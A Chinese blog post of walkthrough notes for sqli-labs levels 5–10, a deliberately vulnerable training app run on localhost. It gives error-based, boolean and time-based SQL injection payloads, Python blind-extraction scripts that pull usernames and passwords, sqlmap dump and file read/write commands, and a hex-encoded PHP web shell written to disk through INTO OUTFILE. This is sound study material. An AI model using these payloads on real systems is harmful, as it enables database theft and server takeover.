Sqlilabs通关笔记(二)

时间:2022-07-22
本文章向大家介绍Sqlilabs通关笔记(二),主要内容包括其使用实例、应用技巧、基本知识点总结和需要注意事项,具有一定的参考价值,需要的朋友可以参考一下。

第五关 基于GET单引号双注入

存在注入点判断

  1. 输入单引号测试,有报错信息,返回信息和第一关错误信息一样
  2. 不管输入id为多少,页面一直都是 you are in ....猜测正确的页面不变,不会将查询结果打印到页面了,查看源码发现,确实是不输出结果了
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";$result=mysql_query($sql);$row = mysql_fetch_array($result);
	if($row)	{  	echo '<font size="5" color="#FFFF00">';	  	echo 'You are in...........';  	echo "<br>";    	echo "</font>";  	}	else 	{		echo '<font size="3" color="#FFFF00">';	print_r(mysql_error());	echo "</br></font>";		echo '<font color= "#0000ff" font size= 3>';			}}	else { echo "Please input the ID as parameter with numeric value";}

但是会把错误的信息给打印出来

  1. 所以应该用到双注入(也称报错注入),在错误中把要的信息打印出来

报错注入方式(十种)

该注入原理可以查找资料,注入方式的有资料[1]可以点击查看,如下只列举常遇到的十种报错注入的方式

  • floor函数注入
    • count():查询数量
    • rand():产生0~1间的随机数
    • floor():向下取整
    • group by:按指定分类
    • 函数介绍
    • 写法

select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

* 运用

http://localhost/sqlilabs2/Less-5/index.php?id=-1' union select 1,count(*),concat((floor(rand(0)*2)),'--',(select concat(id,'-',username,'-',password) from security.users limit 0,1))x from information_schema.tables group by x%23

* 使用注意
    - payload是在中间concat部分,修改该部分可以执行不同命令
    - 只能用concat连接 ,group_concat不行,且每次只能显示一条数据
    - 要让上述的报错实现,数据库至少要3条数据
  • extractvalue函数注入select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e))); http://localhost/sqlilabs2/Less-5/index.php?id=-1' and (extractvalue(1,concat(0x7e,(select group_concat(username) from users),0x7e)))--+
    • 运用
    • 对XML文档进行查询
    • EXTRACTVALUE (XML_document, XPath_string);
    • 第一个参数:XML_document是String格式,为XML文档对象的名称
    • 第二个参数:XPath_string (Xpath格式的字符串)
    • 作用:从目标XML中返回包含所查询值的字符串
    • 函数介绍
    • 写法
* 使用注意
	- MySQL 5.1.5版本以上才支持该函数
	- 返回的数据限制为32位
	- 可以用substring函数进行数据位移偏转

http://localhost/sqlilabs2/Less-5/index.php?id=-1' and (extractvalue(1,concat(0x7e,(select substring(group_concat(username),1) from users),0x7e)))--+

  • updatexml函数注入select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));
    • 运用
    • 对XML文档进行修改
    • UPDATEXML (XML_document, XPath_string, new_value);
    • 第一个参数:XML_document是String格式,为XML文档对象的名称
    • 第二个参数:XPath_string (Xpath格式的字符串)
    • 第三个参数:new_value,String格式,替换查找到的符合条件的数据
    • 作用:改变文档中符合条件的节点的值
    • 函数介绍
    • 写法

http://localhost/sqlilabs2/Less-5/index.php?id=-1' and (updatexml(1,concat(0x7e,(select SUBSTRING(group_concat(username),12) from users),0x7e),1))--+

* 使用注意
	- MySQL 5.1.5版本以上才支持该函数
	- 返回的数据限制为32位
	- 可以用substring函数进行数据位移偏转
  • geometrycollection函数注入 select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));
    • 运用
    • 使用注意
    • 函数介绍
    • 写法
  • multipoint函数注入 select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));
    • 运用
    • 使用注意
    • 函数介绍
    • 写法
  • polygon函数注入
    • 函数介绍
    • 写法select * from test where id=1 and polygon((select * from(select * from(select user())a)b));
    • 运用
    • 使用注意
  • multipolygon函数注入
    • 函数介绍
    • 写法select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));
    • 运用
    • 使用注意
  • linestring函数注入
    • 函数介绍
    • 写法select * from test where id=1 and linestring((select * from(select * from(select user())a)b));
    • 运用
    • 使用注意
  • multilinestring函数注入
    • 函数介绍
    • 写法select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));
    • 运用
    • 使用注意
  • exp函数注入
    • 函数介绍
    • 写法select * from test where id=1 and exp(~(select * from(select user())a));
    • 运用
    • 使用注意

第六关 基于GET双引号双注入

和第五关类似,只要用双引号闭合即可

http://127.0.0.1/sqlilabs2/Less-6/index.php?id=-1" union select 1,count(*),concat((floor(rand(0)*2)),'--',(select concat(id,'-',username,'-',password) from security.users limit 0,1))x from information_schema.tables group by x%23

SQLMAP注入

直接上payload(第五六题均可用)

sqlmap -u "http://127.0.0.1/sqlilabs2/Less-5/index.php?id=1" --technique E -D security -T users --dump --batch

第七关 基于文件写入注入

存在注入点判断

  1. 任意输入单引号,会显示报错
  2. 正常运行提示 Use outfile...... 所以理解为写入mm文件执行
  3. 通过尝试发现闭合')),通过查看源代码,再次确定闭合成功

    $sql="SELECT * FROM users WHERE id=(('$id')) LIMIT 0,1";$result=mysql_query($sql);$row = mysql_fetch_array($result); if($row) { echo '<font color= "#FFFF00">'; echo 'You are in.... Use outfile......'; echo "<br>"; echo "</font>"; } else { echo '<font color= "#FFFF00">'; echo 'You have an error in your SQL syntax'; //print_r(mysql_error()); echo "</font>"; }} else { echo "Please input the ID as parameter with numeric value";}

写入文件配置(使用条件)

secure-file-priv- 如果文件导入不成功,确认Mysql配置文件my.ini下存在secure-file-priv - secure-file-priv参数是用来限制LOAD DATA, SELECT … OUTFILE, and LOAD_FILE()传到哪个指定目录的

  • secure_file_priv的值为null ,表示限制mysqld不允许导入|导出
  • secure_file_priv的值为/tmp/ ,表示限制mysqld的导入|导出只能发生在/tmp/目录下
  • secure_file_priv的值没有具体值时,表示不对mysqld的导入|导出做限制

mysql使用以下命令查看是否打开文件写入开关

show global variables like '%secure%'

修改my.ini添加secure-file-priv参数,没有填具体值表示不做限制(这样做其实很危险)

重启mysql即可

写入敏感文件

写入一句话木马

http://127.0.0.1/sqlilabs2/Less-7/index.php?id=-1')) union select 1,0x3c3f706870206576616c28245f504f53545b636d645d293b3f3e,3 into outfile "E:softsphpstudy_proWWWsqlilabs2Less-7mm2.php"--+

写入phpinfo

http://127.0.0.1/sqlilabs2/Less-7/index.php?id=1')) 1,0x3c3f70687020706870696e666f28293b3f3e,3 into outfile "E:softsphpstudy_proWWWsqlilabs2Less-7pp2.php--+

写入需要注意的

  • 写入的内容需要用hex转码,以防拦截
  • 写入的前提需要知道物理文件路径
  • 写入的前提是有权限写入,或者有配置写入的权限

可以在文件目录查看发现文件写入成功

同时网页可以直接访问该文件并执行

读取敏感文件

  • 前提要有页面输出哦!

http://127.0.0.1/sqlilabs2/Less-3/index.php?id=-1') union select 1,load_file('e:mm.php'),3--+

SQLMQP 读写文件

文件读取

sqlmap -u "http://127.0.0.1/sqlilabs2/Less-1/index.php?id=1" --file-read "E:mm.php"

文件写入

sqlmap -u "http://127.0.0.1/sqlilabs2/Less-7/index.php?id=1" --file-write "/home/bb/1.txt" --file-dest "E:sql2.php" --batch

第八关 基于GET单引号布尔型盲注

存在注入点判断

  1. 通过反斜杠可知,错误和正常页面有区别
  2. 可以构造payload来进行判断布尔值,从而确定要查询的结果 http://127.0.0.1/sqlilabs2/Less-8/index.php?id=1' and 's'=left(database(),1)--+ 页面正常 说明第一个字母为s http://127.0.0.1/sqlilabs2/Less-8/index.php?id=1' and 'se'=left(database(),2)--+ 页面正常 第二个字母e ................... 以此类推可以将数据结果得出
  3. 利用二分法构造payload SELECT * from users WHERE id = 1 and (length(database())=8) SELECT * from users WHERE id = 1 and ascii(substr(database(),8,1)) SELECT * from users WHERE id = 1 and 's'=left(database(),1) SELECT * from users WHERE id = 1 and if((length(database())=8),1,0)
    • 脚本编写
    • ascii() 函数,返回字符ascii码值
    • length() 函数,返回字符串的长度
    • left() 函数,返回从左至右截取固定长度的字符串
    • substr()/substring() 函数 , 返回从pos位置开始到length长度的子字符串
    • if函数,判断条件并作出不同行动
    • 参数 : str单字符
    • 参数 : str 字符串
    • 参数str,length
    • str : 字符串
    • length:截取长度
    • 参数,str,pos,length
    • str: 字符串
    • pos:开始位置
    • length:截取长度
    • 参数,条件,成立,不成立
    • 常用构造函数
    • 实例构造
import stringimport requestsfrom time import sleep
arlist = string.printable
Baseurl = "http://127.0.0.1/sqlilabs2/Less-8/index.php?id=1' and "

def checkurl(url):    res = requests.get(url)    if res.ok:        if 'You are in' in res.text:            return True    return False
def main():    flag  = ''    for g in range(100):        for i in arlist:            payload = "substr((select group_concat(username,password) from users),%s,1) = '%s'--+" % (                g, i)            finalurl = Baseurl + payload            if checkurl(finalurl):                flag = flag + str(i)                print(flag)            sleep(0.2)
if  __name__ == "__main__":    main()

SQLMAP注入

直接上payload

sqlmap -u "http://127.0.0.1/sqlilabs2/Less-8/index.php?id=1" --technique B -D security -T users -C username,password --dump --threads 10 --batch

第九关 基于GET单引号基于时间盲注

存在注入点判断

  1. 加上反斜杠发现页面并无变化
  2. 猜测不管语法对错页面都没有变化
  3. 尝试使用sleep看是否执行
  4. 布尔盲注和时间盲注的最直观区别就是一个可以通过页面区别来判断对错,一个则无法判断对错,只能通过执行的时间来区别对错
  5. 查看源码验证布尔盲注和时间盲注 布尔源码如下:
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";$result=mysql_query($sql);$row = mysql_fetch_array($result);
	if($row)	{  	echo '<font size="5" color="#FFFF00">';	  	echo 'You are in...........';  	echo "<br>";    	echo "</font>";  	}	else 	{		echo '<font size="5" color="#FFFF00">';	//echo 'You are in...........';	//print_r(mysql_error());	//echo "You have an error in your SQL syntax";	echo "</br></font>";		echo '<font color= "#0000ff" font size= 3>';			}}	else { echo "Please input the ID as parameter with numeric value";}
?>

时间盲注源码如下

$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";$result=mysql_query($sql);$row = mysql_fetch_array($result);
	if($row)	{  	echo '<font size="5" color="#FFFF00">';	  	echo 'You are in...........';  	echo "<br>";    	echo "</font>";  	}	else 	{		echo '<font size="5" color="#FFFF00">';	echo 'You are in...........';	//print_r(mysql_error());	//echo "You have an error in your SQL syntax";	echo "</br></font>";		echo '<font color= "#0000ff" font size= 3>';			}}	else { echo "Please input the ID as parameter with numeric value";}
  1. 布尔注释掉了输出错误信息,而时间盲注不管对错页面都是You are in..
  2. 尝试构造payload http://127.0.0.1/sqlilabs2/Less-9/index.php?id=1' and if((length(database())=8),sleep(5),1)--+
  3. 脚本编写
import stringimport requestsfrom time import sleep
arlist = string.printable
Baseurl = "http://127.0.0.1/sqlilabs2/Less-9/index.php?id=1' and "

def checkurl(url):    try:        res = requests.get(url,timeout = 3)        return True    except Exception as e:        return False
def main():    flag  = ''    for g in range(100):        for i in arlist:            payload = "if((substr((select group_concat(username,password) from users),%s,1) = '%s'),sleep(5),1)--+" % (                g, i)            finalurl = Baseurl + payload            if checkurl(finalurl):                flag = flag + str(i)                print(flag)            sleep(0.2)
if  __name__ == "__main__":    main()

第十关 基于GET双引号基于时间盲注

存在注入点判断

  • 和第九关类似,只不过需要用双引号闭合

payload:

http://127.0.0.1/sqlilabs2/Less-10/index.php?id=1" and if((length(database())=8),sleep(5),1)--+

SQLMAP注入

直接上payload(9-10通用)

sqlmap -u "http://127.0.0.1/sqlilabs2/Less-9/index.php?id=1" --technique T -D security -T users -C username,password --dump --threads 10 --batch

参考资料

[1]

资料: https://www.cnblogs.com/csyxf/p/10241456.html